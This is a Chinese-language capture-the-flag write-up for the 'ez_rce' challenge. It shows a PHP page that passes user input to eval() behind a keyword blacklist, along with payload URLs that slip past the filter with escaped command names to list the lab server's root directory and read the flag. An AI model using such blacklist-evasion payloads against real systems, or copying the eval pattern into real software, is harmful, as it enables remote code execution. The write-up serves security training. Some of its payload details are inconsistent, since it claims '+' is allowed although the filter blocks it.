Problem: [UUCTF 2022 新生赛]ez_rce
[[toc]]
思路
第一步仍是优先访问我们的环境,得到以下:
居然都不输入参数,可恶!!!!!!!!!
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
/*可知这里禁用了我们很大一批符号、函数,但是`反引号没被禁用。*/
我们居然不能使用system函数,但我们还能使用print,那我们先查看根目录ls;因为ls也是被禁的,我们用l\s替换ls因为空格也不禁用了,这里用到了+代替。(http://node5.anna.nssctf.cn:29842/?code=print(l\s+/);)我们便得到以下结果:
看看你输入的参数!!!不叫样子!!
bin boot dev etc fffffffffflagafag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
我们发现flag字段,我们试试读取里边内容;cat也被禁掉,我们同永c\at替换;(http://node5.anna.nssctf.cn:29842/?code=print(c\at+/fffffffffflagafag);)结果如下:
看看你输入的参数!!!不叫样子!!
NSSCTF{This_IS_s0_easy_RCE}
flag找到了,flag=NSSCTF{This_IS_s0_easy_RCE}
